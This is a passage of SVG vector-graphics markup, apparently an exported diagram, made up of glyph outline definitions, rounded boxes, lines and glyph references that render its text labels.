2.632812 -11.429688 2.5 -11.390625 L 2.5 -6.03125 C 2.550781 -6.007812 2.625 -5.992188 2.71875 -5.984375 C 2.820312 -5.972656 2.925781 -5.960938 3.03125 -5.953125 C 3.144531 -5.953125 3.253906 -5.953125 3.359375 -5.953125 C 3.460938 -5.953125 3.535156 -5.953125 3.578125 -5.953125 C 3.921875 -5.953125 4.242188 -5.992188 4.546875 -6.078125 C 4.859375 -6.160156 5.132812 -6.3125 5.375 -6.53125 C 5.613281 -6.757812 5.804688 -7.0625 5.953125 -7.4375 C 6.109375 -7.820312 6.1875 -8.300781 6.1875 -8.875 C 6.1875 -9.375 6.117188 -9.789062 5.984375 -10.125 C 5.847656 -10.46875 5.664062 -10.738281 5.4375 -10.9375 C 5.21875 -11.144531 4.957031 -11.289062 4.65625 -11.375 C 4.363281 -11.457031 4.050781 -11.5 3.71875 -11.5 Z M 3.71875 -11.5"/></symbol><symbol overflow="visible" id="H"><path d="M 0.703125 -0.8125 C 0.703125 -1.144531 0.78125 -1.394531 0.9375 -1.5625 C 1.101562 -1.726562 1.328125 -1.8125 1.609375 -1.8125 C 1.878906 -1.8125 2.09375 -1.726562 2.25 -1.5625 C 2.414062 -1.394531 2.5 -1.144531 2.5 -0.8125 C 2.5 -0.457031 2.414062 -0.195312 2.25 -0.03125 C 2.09375 0.132812 1.878906 0.21875 1.609375 0.21875 C 1.328125 0.21875 1.101562 0.132812 0.9375 -0.03125 C 0.78125 -0.195312 0.703125 -0.457031 0.703125 -0.8125 Z M 0.703125 -0.8125"/></symbol><symbol overflow="visible" id="I"><path d="M 0.78125 -6.296875 C 0.78125 -8.429688 1.117188 -10.050781 1.796875 -11.15625 C 2.484375 -12.257812 3.53125 -12.8125 4.9375 -12.8125 C 5.6875 -12.8125 6.328125 -12.65625 6.859375 -12.34375 C 7.390625 -12.039062 7.816406 -11.609375 8.140625 -11.046875 C 8.472656 -10.484375 8.71875 -9.800781 8.875 -9 C 9.03125 -8.195312 9.109375 -7.296875 9.109375 -6.296875 C 9.109375 -4.160156 8.757812 -2.539062 8.0625 -1.4375 C 7.375 -0.332031 6.332031 0.21875 4.9375 0.21875 C 4.1875 0.21875 3.546875 0.0664062 3.015625 -0.234375 C 2.492188 -0.546875 2.0625 -0.984375 1.71875 -1.546875 C 1.382812 -2.109375 1.144531 -2.789062 1 -3.59375 C 0.851562 -4.40625 0.78125 -5.304688 0.78125 -6.296875 Z M 2.203125 -6.296875 C 2.203125 -5.585938 2.25 -4.914062 2.34375 -4.28125 C 2.445312 -3.644531 2.609375 -3.085938 2.828125 -2.609375 C 3.046875 -2.128906 3.328125 -1.742188 3.671875 -1.453125 C 4.015625 -1.171875 4.4375 -1.03125 4.9375 -1.03125 C 5.832031 -1.03125 6.515625 -1.460938 6.984375 -2.328125 C 7.453125 -3.191406 7.6875 -4.515625 7.6875 -6.296875 C 7.6875 -6.992188 7.632812 -7.660156 7.53125 -8.296875 C 7.425781 -8.929688 7.265625 -9.488281 7.046875 -9.96875 C 6.835938 -10.457031 6.554688 -10.847656 6.203125 -11.140625 C 5.859375 -11.429688 5.4375 -11.578125 4.9375 -11.578125 C 4.039062 -11.578125 3.359375 -11.144531 2.890625 -10.28125 C 2.429688 -9.414062 2.203125 -8.085938 2.203125 -6.296875 Z M 2.203125 -6.296875"/></symbol><symbol overflow="visible" id="J"><path d="M 1.0625 -12.59375 L 2.359375 -12.59375 L 2.359375 -8.3125 L 2.40625 -8.3125 C 2.90625 -8.914062 3.5625 -9.21875 4.375 -9.21875 C 5.300781 -9.21875 5.992188 -8.847656 6.453125 -8.109375 C 6.910156 -7.378906 7.140625 -6.222656 7.140625 -4.640625 C 7.140625 -3.023438 6.832031 -1.820312 6.21875 -1.03125 C 5.601562 -0.238281 4.726562 0.15625 3.59375 0.15625 C 3.039062 0.15625 2.535156 0.09375 2.078125 -0.03125 C 1.628906 -0.15625 1.289062 -0.300781 1.0625 -0.46875 Z M 2.359375 -1.3125 C 2.523438 -1.21875 2.726562 -1.144531 2.96875 -1.09375 C 3.21875 -1.039062 3.484375 -1.015625 3.765625 -1.015625 C 4.390625 -1.015625 4.882812 -1.3125 5.25 -1.90625 C 5.613281 -2.5 5.796875 -3.410156 5.796875 -4.640625 C 5.796875 -5.160156 5.757812 -5.625 5.6875 -6.03125 C 5.625 -6.445312 5.523438 -6.804688 5.390625 -7.109375 C 5.253906 -7.410156 5.070312 -7.640625 4.84375 -7.796875 C 4.625 -7.960938 4.359375 -8.046875 4.046875 -8.046875 C 3.617188 -8.046875 3.265625 -7.914062 2.984375 -7.65625 C 2.703125 -7.394531 2.492188 -7.046875 2.359375 -6.609375 Z M 2.359375 -1.3125"/></symbol><symbol overflow="visible" id="K"><path d="M 0.671875 -4.5 C 0.671875 -6.125 0.945312 -7.316406 1.5 -8.078125 C 2.0625 -8.835938 2.859375 -9.21875 3.890625 -9.21875 C 4.992188 -9.21875 5.804688 -8.828125 6.328125 -8.046875 C 6.847656 -7.265625 7.109375 -6.082031 7.109375 -4.5 C 7.109375 -2.863281 6.828125 -1.664062 6.265625 -0.90625 C 5.703125 -0.15625 4.910156 0.21875 3.890625 0.21875 C 2.785156 0.21875 1.972656 -0.171875 1.453125 -0.953125 C 0.929688 -1.734375 0.671875 -2.914062 0.671875 -4.5 Z M 2.015625 -4.5 C 2.015625 -3.96875 2.046875 -3.484375 2.109375 -3.046875 C 2.179688 -2.617188 2.289062 -2.25 2.4375 -1.9375 C 2.582031 -1.625 2.773438 -1.378906 3.015625 -1.203125 C 3.265625 -1.035156 3.554688 -0.953125 3.890625 -0.953125 C 4.515625 -0.953125 4.984375 -1.226562 5.296875 -1.78125 C 5.609375 -2.34375 5.765625 -3.25 5.765625 -4.5 C 5.765625 -5.019531 5.726562 -5.5 5.65625 -5.9375 C 5.59375 -6.375 5.484375 -6.75 5.328125 -7.0625 C 5.179688 -7.375 4.988281 -7.613281 4.75 -7.78125 C 4.507812 -7.957031 4.222656 -8.046875 3.890625 -8.046875 C 3.273438 -8.046875 2.804688 -7.765625 2.484375 -7.203125 C 2.171875 -6.640625 2.015625 -5.738281 2.015625 -4.5 Z M 2.015625 -4.5"/></symbol><symbol overflow="visible" id="L"><path d="M 2.890625 -4.609375 L 0.515625 -9 L 2.0625 -9 L 3.40625 -6.421875 L 3.765625 -5.421875 L 4.140625 -6.421875 L 5.515625 -9 L 6.9375 -9 L 4.53125 -4.6875 L 7.078125 0 L 5.59375 0 L 4.09375 -2.828125 L 3.6875 -3.90625 L 3.28125 -2.828125 L 1.765625 0 L 0.34375 0 Z M 2.890625 -4.609375"/></symbol><symbol overflow="visible" id="M"><path d="M 6.03125 -0.453125 C 5.726562 -0.222656 5.382812 -0.0546875 5 0.046875 C 4.613281 0.160156 4.210938 0.21875 3.796875 0.21875 C 3.222656 0.21875 2.738281 0.109375 2.34375 -0.109375 C 1.945312 -0.335938 1.625 -0.65625 1.375 -1.0625 C 1.132812 -1.476562 0.957031 -1.976562 0.84375 -2.5625 C 0.726562 -3.144531 0.671875 -3.789062 0.671875 -4.5 C 0.671875 -6.03125 0.941406 -7.195312 1.484375 -8 C 2.023438 -8.8125 2.804688 -9.21875 3.828125 -9.21875 C 4.296875 -9.21875 4.695312 -9.175781 5.03125 -9.09375 C 5.375 -9.007812 5.664062 -8.898438 5.90625 -8.765625 L 5.546875 -7.625 C 5.066406 -7.90625 4.546875 -8.046875 3.984375 -8.046875 C 3.328125 -8.046875 2.832031 -7.757812 2.5 -7.1875 C 2.175781 -6.625 2.015625 -5.726562 2.015625 -4.5 C 2.015625 -4.007812 2.050781 -3.546875 2.125 -3.109375 C 2.195312 -2.679688 2.316406 -2.304688 2.484375 -1.984375 C 2.648438 -1.671875 2.863281 -1.421875 3.125 -1.234375 C 3.394531 -1.046875 3.726562 -0.953125 4.125 -0.953125 C 4.4375 -0.953125 4.726562 -1.003906 5 -1.109375 C 5.269531 -1.222656 5.488281 -1.351562 5.65625 -1.5 Z M 6.03125 -0.453125"/></symbol><symbol overflow="visible" id="N"><path d="M 5.28125 0 L 5.28125 -5.34375 C 5.28125 -5.820312 5.265625 -6.234375 5.234375 -6.578125 C 5.203125 -6.921875 5.132812 -7.195312 5.03125 -7.40625 C 4.9375 -7.625 4.804688 -7.785156 4.640625 -7.890625 C 4.472656 -7.992188 4.253906 -8.046875 3.984375 -8.046875 C 3.566406 -8.046875 3.21875 -7.882812 2.9375 -7.5625 C 2.65625 -7.25 2.460938 -6.890625 2.359375 -6.484375 L 2.359375 0 L 1.0625 0 L 1.0625 -9 L 1.984375 -9 L 2.21875 -8.046875 L 2.265625 -8.046875 C 2.515625 -8.390625 2.8125 -8.671875 3.15625 -8.890625 C 3.507812 -9.109375 3.957031 -9.21875 4.5 -9.21875 C 4.957031 -9.21875 5.332031 -9.117188 5.625 -8.921875 C 5.914062 -8.722656 6.144531 -8.367188 6.3125 -7.859375 C 6.53125 -8.285156 6.835938 -8.617188 7.234375 -8.859375 C 7.640625 -9.097656 8.082031 -9.21875 8.5625 -9.21875 C 8.957031 -9.21875 9.296875 -9.164062 9.578125 -9.0625 C 9.867188 -8.957031 10.097656 -8.773438 10.265625 -8.515625 C 10.441406 -8.265625 10.570312 -7.925781 10.65625 -7.5 C 10.738281 -7.070312 10.78125 -6.535156 10.78125 -5.890625 L 10.78125 0 L 9.484375 0 L 9.484375 -5.71875 C 9.484375 -6.5 9.40625 -7.082031 9.25 -7.46875 C 9.101562 -7.851562 8.757812 -8.046875 8.21875 -8.046875 C 7.769531 -8.046875 7.410156 -7.90625 7.140625 -7.625 C 6.867188 -7.34375 6.675781 -6.960938 6.5625 -6.484375 L 6.5625 0 Z M 5.28125 0"/></symbol><symbol overflow="visible" id="O"><path d="M 1.0625 -9 L 1.984375 -9 L 2.171875 -8.03125 L 2.25 -8.03125 C 2.695312 -8.820312 3.394531 -9.21875 4.34375 -9.21875 C 5.289062 -9.21875 6 -8.863281 6.46875 -8.15625 C 6.945312 -7.445312 7.1875 -6.289062 7.1875 -4.6875 C 7.1875 -3.925781 7.109375 -3.242188 6.953125 -2.640625 C 6.796875 -2.035156 6.570312 -1.519531 6.28125 -1.09375 C 5.988281 -0.664062 5.632812 -0.335938 5.21875 -0.109375 C 4.8125 0.109375 4.359375 0.21875 3.859375 0.21875 C 3.503906 0.21875 3.222656 0.195312 3.015625 0.15625 C 2.816406 0.113281 2.597656 0.0234375 2.359375 -0.109375 L 2.359375 3.59375 L 1.0625 3.59375 Z M 2.359375 -1.421875 C 2.523438 -1.273438 2.710938 -1.160156 2.921875 -1.078125 C 3.128906 -0.992188 3.410156 -0.953125 3.765625 -0.953125 C 4.398438 -0.953125 4.898438 -1.273438 5.265625 -1.921875 C 5.640625 -2.566406 5.828125 -3.492188 5.828125 -4.703125 C 5.828125 -5.203125 5.796875 -5.65625 5.734375 -6.0625 C 5.671875 -6.46875 5.566406 -6.816406 5.421875 -7.109375 C 5.273438 -7.410156 5.085938 -7.640625 4.859375 -7.796875 C 4.640625 -7.960938 4.367188 -8.046875 4.046875 -8.046875 C 3.171875 -8.046875 2.609375 -7.507812 2.359375 -6.4375 Z M 2.359375 -1.421875"/></symbol><symbol overflow="visible" id="P"><path d="M 5.671875 0 L 5.671875 -5.484375 C 5.671875 -6.390625 5.566406 -7.039062 5.359375 -7.4375 C 5.148438 -7.84375 4.773438 -8.046875 4.234375 -8.046875 C 3.753906 -8.046875 3.359375 -7.898438 3.046875 -7.609375 C 2.734375 -7.328125 2.503906 -6.972656 2.359375 -6.546875 L 2.359375 0 L 1.0625 0 L 1.0625 -9 L 2 -9 L 2.234375 -8.046875 L 2.28125 -8.046875 C 2.507812 -8.367188 2.816406 -8.644531 3.203125 -8.875 C 3.597656 -9.101562 4.066406 -9.21875 4.609375 -9.21875 C 4.992188 -9.21875 5.332031 -9.160156 5.625 -9.046875 C 5.914062 -8.941406 6.160156 -8.757812 6.359375 -8.5 C 6.554688 -8.25 6.707031 -7.90625 6.8125 -7.46875 C 6.914062 -7.039062 6.96875 -6.492188 6.96875 -5.828125 L 6.96875 0 Z M 5.671875 0"/></symbol><symbol overflow="visible" id="Q"><path d="M 3.296875 -3.1875 L 3.671875 -1.4375 L 3.765625 -1.4375 L 4.03125 -3.1875 L 5.40625 -9 L 6.71875 -9 L 4.578125 -0.921875 C 4.398438 -0.273438 4.226562 0.328125 4.0625 0.890625 C 3.894531 1.460938 3.710938 1.953125 3.515625 2.359375 C 3.316406 2.773438 3.09375 3.097656 2.84375 3.328125 C 2.601562 3.566406 2.316406 3.6875 1.984375 3.6875 C 1.640625 3.6875 1.34375 3.632812 1.09375 3.53125 L 1.3125 2.296875 C 1.476562 2.359375 1.644531 2.367188 1.8125 2.328125 C 1.976562 2.296875 2.132812 2.195312 2.28125 2.03125 C 2.4375 1.863281 2.578125 1.613281 2.703125 1.28125 C 2.828125 0.957031 2.941406 0.53125 3.046875 0 L 0.125 -9 L 1.609375 -9 Z M 3.296875 -3.1875"/></symbol><symbol overflow="visible" id="S"><path d="M 6 -3.53125 L 2.4375 -3.53125 L 1.421875 0 L 0.09375 0 L 3.890625 -12.796875 L 4.625 -12.796875 L 8.421875 0 L 7.015625 0 Z M 2.796875 -4.734375 L 5.671875 -4.734375 L 4.578125 -8.625 L 4.234375 -10.515625 L 4.1875 -10.515625 L 3.859375 -8.59375 Z M 2.796875 -4.734375"/></symbol><symbol overflow="visible" id="T"><path d="M 2.234375 -9 L 2.234375 -3.484375 C 2.234375 -2.578125 2.328125 -1.925781 2.515625 -1.53125 C 2.703125 -1.144531 3.039062 -0.953125 3.53125 -0.953125 C 3.78125 -0.953125 4.003906 -1.003906 4.203125 -1.109375 C 4.398438 -1.210938 4.578125 -1.347656 4.734375 -1.515625 C 4.890625 -1.679688 5.023438 -1.867188 5.140625 -2.078125 C 5.265625 -2.296875 5.363281 -2.519531 5.4375 -2.75 L 5.4375 -9 L 6.734375 -9 L 6.734375 -2.5625 C 6.734375 -2.125 6.75 -1.671875 6.78125 -1.203125 C 6.8125 -0.742188 6.851562 -0.34375 6.90625 0 L 6 0 L 5.671875 -1.265625 L 5.609375 -1.265625 C 5.410156 -0.867188 5.117188 -0.519531 4.734375 -0.21875 C 4.347656 0.0703125 3.867188 0.21875 3.296875 0.21875 C 2.910156 0.21875 2.570312 0.164062 2.28125 0.0625 C 2 -0.03125 1.753906 -0.203125 1.546875 -0.453125 C 1.335938 -0.703125 1.179688 -1.046875 1.078125 -1.484375 C 0.984375 -1.921875 0.9375 -2.484375 0.9375 -3.171875 L 0.9375 -9 Z M 2.234375 -9"/></symbol><symbol overflow="visible" id="U"><path d="M 1.28125 -9 L 2.578125 -9 L 2.578125 0 L 1.28125 0 Z M 1.046875 -11.734375 C 1.046875 -12.023438 1.125 -12.257812 1.28125 -12.4375 C 1.445312 -12.613281 1.660156 -12.703125 1.921875 -12.703125 C 2.191406 -12.703125 2.410156 -12.613281 2.578125 -12.4375 C 2.753906 -12.269531 2.84375 -12.035156 2.84375 -11.734375 C 2.84375 -11.441406 2.753906 -11.210938 2.578125 -11.046875 C 2.410156 -10.890625 2.191406 -10.8125 1.921875 -10.8125 C 1.660156 -10.8125 1.445312 -10.894531 1.28125 -11.0625 C 1.125 -11.238281 1.046875 -11.460938 1.046875 -11.734375 Z M 1.046875 -11.734375"/></symbol><symbol overflow="visible" id="V"><path d="M 2.453125 -2.140625 C 2.453125 -1.722656 2.507812 -1.421875 2.625 -1.234375 C 2.738281 -1.054688 2.894531 -0.96875 3.09375 -0.96875 C 3.34375 -0.96875 3.640625 -1.035156 3.984375 -1.171875 L 4.109375 -0.125 C 3.953125 -0.03125 3.734375 0.046875 3.453125 0.109375 C 3.171875 0.171875 2.914062 0.203125 2.6875 0.203125 C 2.226562 0.203125 1.859375 0.0625 1.578125 -0.21875 C 1.296875 -0.5 1.15625 -0.992188 1.15625 -1.703125 L 1.15625 -12.59375 L 2.453125 -12.59375 Z M 2.453125 -2.140625"/></symbol><symbol overflow="visible" id="W"><path d="M 6.734375 0.40625 C 6.734375 1.570312 6.472656 2.429688 5.953125 2.984375 C 5.441406 3.535156 4.691406 3.8125 3.703125 3.8125 C 3.109375 3.8125 2.617188 3.757812 2.234375 3.65625 C 1.847656 3.5625 1.535156 3.445312 1.296875 3.3125 L 1.671875 2.203125 C 1.910156 2.304688 2.171875 2.40625 2.453125 2.5 C 2.742188 2.59375 3.101562 2.640625 3.53125 2.640625 C 4.257812 2.640625 4.757812 2.4375 5.03125 2.03125 C 5.300781 1.625 5.4375 0.941406 5.4375 -0.015625 L 5.4375 -0.6875 L 5.375 -0.6875 C 5.1875 -0.40625 4.941406 -0.1875 4.640625 -0.03125 C 4.335938 0.125 3.953125 0.203125 3.484375 0.203125 C 2.515625 0.203125 1.800781 -0.171875 1.34375 -0.921875 C 0.894531 -1.671875 0.671875 -2.851562 0.671875 -4.46875 C 0.671875 -6.007812 0.96875 -7.175781 1.5625 -7.96875 C 2.15625 -8.757812 3.03125 -9.15625 4.1875 -9.15625 C 4.757812 -9.15625 5.25 -9.101562 5.65625 -9 C 6.0625 -8.894531 6.421875 -8.769531 6.734375 -8.625 Z M 5.4375 -7.703125 C 5.070312 -7.890625 4.609375 -7.984375 4.046875 -7.984375 C 3.429688 -7.984375 2.9375 -7.703125 2.5625 -7.140625 C 2.195312 -6.585938 2.015625 -5.703125 2.015625 -4.484375 C 2.015625 -3.972656 2.046875 -3.503906 2.109375 -3.078125 C 2.171875 -2.660156 2.269531 -2.289062 2.40625 -1.96875 C 2.550781 -1.65625 2.734375 -1.410156 2.953125 -1.234375 C 3.179688 -1.054688 3.457031 -0.96875 3.78125 -0.96875 C 4.238281 -0.96875 4.597656 -1.085938 4.859375 -1.328125 C 5.117188 -1.566406 5.3125 -1.925781 5.4375 -2.40625 Z M 5.4375 -7.703125"/></symbol><symbol overflow="visible" id="X"><path d="M 5.40625 -11.5 C 5.269531 -11.519531 5.070312 -11.546875 4.8125 -11.578125 C 4.550781 -11.617188 4.296875 -11.640625 4.046875 -11.640625 C 3.734375 -11.640625 3.488281 -11.578125 3.3125 -11.453125 C 3.132812 -11.335938 2.992188 -11.171875 2.890625 -10.953125 C 2.796875 -10.734375 2.738281 -10.457031 2.71875 -10.125 C 2.695312 -9.789062 2.6875 -9.414062 2.6875 -9 L 4.109375 -9 L 4.109375 -7.828125 L 2.6875 -7.828125 L 2.6875 0 L 1.390625 0 L 1.390625 -7.828125 L 0.28125 -7.828125 L 0.28125 -9 L 1.390625 -9 L 1.390625 -9.5 C 1.390625 -10.632812 1.585938 -11.46875 1.984375 -12 C 2.390625 -12.539062 3.066406 -12.8125 4.015625 -12.8125 C 4.203125 -12.8125 4.425781 -12.800781 4.6875 -12.78125 C 4.945312 -12.769531 5.203125 -12.75 5.453125 -12.71875 C 5.703125 -12.6875 5.9375 -12.648438 6.15625 -12.609375 C 6.382812 -12.578125 6.566406 -12.535156 6.703125 -12.484375 L 6.703125 -2.046875 C 6.703125 -1.648438 6.753906 -1.367188 6.859375 -1.203125 C 6.972656 -1.035156 7.132812 -0.953125 7.34375 -0.953125 C 7.601562 -0.953125 7.90625 -1.019531 8.25 -1.15625 L 8.328125 -0.109375 C 8.171875 -0.015625 7.957031 0.0625 7.6875 0.125 C 7.425781 0.1875 7.164062 0.21875 6.90625 0.21875 C 6.457031 0.21875 6.09375 0.078125 5.8125 -0.203125 C 5.539062 -0.492188 5.40625 -0.988281 5.40625 -1.6875 Z M 5.40625 -11.5"/></symbol></defs><path fill="#fff" d="M0 0H707V478H0z"/><path d="M 24.194 15.513817 L 59.46568 15.513817 L 59.46568 38.091747 L 24.194 38.091747 Z M 24.194 15.513817" transform="matrix(20 0 0 20 -482.88 -284.624)" fill-rule="evenodd" fill="#fff" stroke-width=".1" stroke="#fff" stroke-miterlimit="10"/><path d="M 57.890625 44.359375 L 187.191406 44.359375 L 187.191406 70.609375 L 57.890625 70.609375 Z M 57.890625 44.359375" fill-rule="evenodd" fill="#fff"/><use xlink:href="#a" x="57.891" y="65.012"/><use xlink:href="#b" x="66.367" y="65.012"/><use xlink:href="#c" x="75" y="65.012"/><use xlink:href="#d" x="81.758" y="65.012"/><use xlink:href="#e" x="87.266" y="65.012"/><use xlink:href="#f" x="95.273" y="65.012"/><use xlink:href="#g" x="99.941" y="65.012"/><use xlink:href="#h" x="109.395" y="65.012"/><use xlink:href="#h" x="118.047" y="65.012"/><use xlink:href="#i" x="126.699" y="65.012"/><use xlink:href="#j" x="132.188" y="65.012"/><use xlink:href="#c" x="140.449" y="65.012"/><use xlink:href="#c" x="147.207" y="65.012"/><use xlink:href="#k" x="153.965" y="65.012"/><use xlink:href="#l" x="160.879" y="65.012"/><use xlink:href="#m" x="168.398" y="65.012"/><use xlink:href="#j" x="177.09" y="65.012"/><path d="M 26.601422 18.296239 L 57.058062 18.296239" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#b3b3b3" stroke-miterlimit="10"/><path d="M 26.601422 36.158153 L 57.058062 36.158153" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#b3b3b3" stroke-miterlimit="10"/><path d="M 26.601422 18.296239 L 26.601422 18.296239 C 26.435797 18.296239 26.301422 18.430419 26.301422 18.596239" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#b3b3b3" stroke-miterlimit="10"/><path d="M 57.358062 18.596239 L 57.358062 18.596239 C 57.358062 18.430419 57.223883 18.296239 57.058062 18.296239" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#b3b3b3" stroke-miterlimit="10"/><path d="M 26.301422 18.596239 L 26.301422 35.858153" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#b3b3b3" stroke-miterlimit="10"/><path d="M 57.358062 18.596239 L 57.358062 35.858153" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#b3b3b3" stroke-miterlimit="10"/><path d="M 26.301422 35.858153 L 26.301422 35.858153 C 26.301422 36.023778 26.435797 36.158153 26.601422 36.158153" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#b3b3b3" stroke-miterlimit="10"/><path d="M 57.058062 36.158153 L 57.058062 36.158153 C 57.223883 36.158153 57.358062 36.023778 57.358062 35.858153" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#b3b3b3" stroke-miterlimit="10"/><path d="M 81.667969 125.710938 L 176.96875 125.710938 L 176.96875 151.960938 L 81.667969 151.960938 Z M 81.667969 125.710938" fill-rule="evenodd" fill="#fff"/><use xlink:href="#n" x="83.082" y="146.359"/><use xlink:href="#o" x="93.102" y="146.359"/><use xlink:href="#o" x="102.008" y="146.359"/><use xlink:href="#p" x="110.914" y="146.359"/><use xlink:href="#q" x="116.773" y="146.359"/><use xlink:href="#r" x="125.328" y="146.359"/><use xlink:href="#s" x="132.32" y="146.359"/><use xlink:href="#t" x="136.422" y="146.359"/><use xlink:href="#u" x="141.285" y="146.359"/><use xlink:href="#v" x="145.777" y="146.359"/><use xlink:href="#q" x="154.762" y="146.359"/><use xlink:href="#s" x="163.316" y="146.359"/><use xlink:href="#w" x="167.418" y="146.359"/><path d="M 197.308594 118.835938 L 605.308594 118.835938 L 605.308594 158.835938 L 197.308594 158.835938 Z M 197.308594 118.835938" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 197.308594 124.835938 L 197.308594 118.835938 C 193.996094 118.835938 191.308594 121.519531 191.308594 124.835938 Z M 197.308594 124.835938" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 605.308594 124.835938 L 611.308594 124.835938 C 611.308594 121.519531 608.625 118.835938 605.308594 118.835938 Z M 605.308594 124.835938" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 191.308594 124.835938 L 611.308594 124.835938 L 611.308594 152.835938 L 191.308594 152.835938 Z M 191.308594 124.835938" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 197.308594 152.835938 L 191.308594 152.835938 C 191.308594 156.148438 193.996094 158.835938 197.308594 158.835938 Z M 197.308594 152.835938" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 605.308594 152.835938 L 605.308594 158.835938 C 608.625 158.835938 611.308594 156.148438 611.308594 152.835938 Z M 605.308594 152.835938" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 34.00943 20.172997 L 54.40943 20.172997" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 34.00943 22.172997 L 54.40943 22.172997" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 34.00943 20.172997 L 34.00943 20.172997 C 33.843805 20.172997 33.70943 20.307177 33.70943 20.472997" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 54.70943 20.472997 L 54.70943 20.472997 C 54.70943 20.307177 54.57525 20.172997 54.40943 20.172997" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 33.70943 20.472997 L 33.70943 21.872997" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 54.70943 20.472997 L 54.70943 21.872997" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 33.70943 21.872997 L 33.70943 21.872997 C 33.70943 22.038622 33.843805 22.172997 34.00943 22.172997" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 54.40943 22.172997 L 54.40943 22.172997 C 54.57525 22.172997 54.70943 22.038622 54.70943 21.872997" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 191.308594 161.433594 L 432.507812 161.433594 L 432.507812 184.832031 L 191.308594 184.832031 Z M 191.308594 161.433594" fill-rule="evenodd" fill="#fff"/><g fill="#4d4d4d"><use xlink:href="#x" x="191.309" y="179.836"/><use xlink:href="#y" x="199.004" y="179.836"/><use xlink:href="#z" x="203.945" y="179.836"/><use xlink:href="#A" x="208.887" y="179.836"/><use xlink:href="#A" x="216.211" y="179.836"/><use xlink:href="#y" x="223.652" y="179.836"/><use xlink:href="#B" x="228.594" y="179.836"/><use xlink:href="#C" x="232.402" y="179.836"/><use xlink:href="#D" x="239.609" y="179.836"/><use xlink:href="#D" x="247.402" y="179.836"/><use xlink:href="#z" x="255.195" y="179.836"/><use xlink:href="#A" x="260.137" y="179.836"/><use xlink:href="#E" x="267.578" y="179.836"/><use xlink:href="#E" x="273.652" y="179.836"/><use xlink:href="#F" x="279.727" y="179.836"/><use xlink:href="#B" x="281.895" y="179.836"/><use xlink:href="#G" x="285.703" y="179.836"/><use xlink:href="#H" x="291.953" y="179.836"/><use xlink:href="#I" x="295.156" y="179.836"/><use xlink:href="#H" x="304.629" y="179.836"/><use xlink:href="#B" x="306.66" y="179.836"/><use xlink:href="#J" x="310.469" y="179.836"/><use xlink:href="#K" x="318.281" y="179.836"/><use xlink:href="#L" x="325.742" y="179.836"/><use xlink:href="#F" x="333.164" y="179.836"/><use xlink:href="#B" x="335.332" y="179.836"/><use xlink:href="#M" x="339.141" y="179.836"/><use xlink:href="#K" x="345.254" y="179.836"/><use xlink:href="#N" x="353.027" y="179.836"/><use xlink:href="#O" x="364.746" y="179.836"/><use xlink:href="#C" x="372.578" y="179.836"/><use xlink:href="#P" x="379.785" y="179.836"/><use xlink:href="#Q" x="387.695" y="179.836"/><use xlink:href="#B" x="393.984" y="179.836"/><use xlink:href="#P" x="397.793" y="179.836"/><use xlink:href="#C" x="405.703" y="179.836"/><use xlink:href="#N" x="412.91" y="179.836"/><use xlink:href="#A" x="424.629" y="179.836"/></g><path d="M 48.115289 24.841552 L 44.652789 24.83745" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#000" stroke-miterlimit="10"/><path d="M 44.652789 24.83745 C 44.652789 24.71245 44.777984 24.587645 44.902984 24.587645 C 45.027984 24.587841 45.152789 24.713036 45.152789 24.838036 C 45.152594 24.963036 45.027398 25.087841 44.902398 25.087645 C 44.777398 25.087645 44.652594 24.96245 44.652789 24.83745" transform="matrix(20 0 0 20 -482.88 -284.624)" fill-rule="evenodd" stroke-width=".1" stroke="#000" stroke-miterlimit="10"/><path d="M 81.667969 207.042969 L 176.96875 207.042969 L 176.96875 233.292969 L 81.667969 233.292969 Z M 81.667969 207.042969" fill-rule="evenodd" fill="#fff"/><use xlink:href="#n" x="83.082" y="227.691"/><use xlink:href="#o" x="93.102" y="227.691"/><use xlink:href="#o" x="102.008" y="227.691"/><use xlink:href="#p" x="110.914" y="227.691"/><use xlink:href="#q" x="116.773" y="227.691"/><use xlink:href="#r" x="125.328" y="227.691"/><use xlink:href="#s" x="132.32" y="227.691"/><use xlink:href="#t" x="136.422" y="227.691"/><use xlink:href="#u" x="141.285" y="227.691"/><use xlink:href="#v" x="145.777" y="227.691"/><use xlink:href="#q" x="154.762" y="227.691"/><use xlink:href="#s" x="163.316" y="227.691"/><use xlink:href="#R" x="167.418" y="227.691"/><path d="M 197.308594 200.167969 L 605.308594 200.167969 L 605.308594 240.167969 L 197.308594 240.167969 Z M 197.308594 200.167969" fill-rule="evenodd" fill="#f2f2f2"/><path 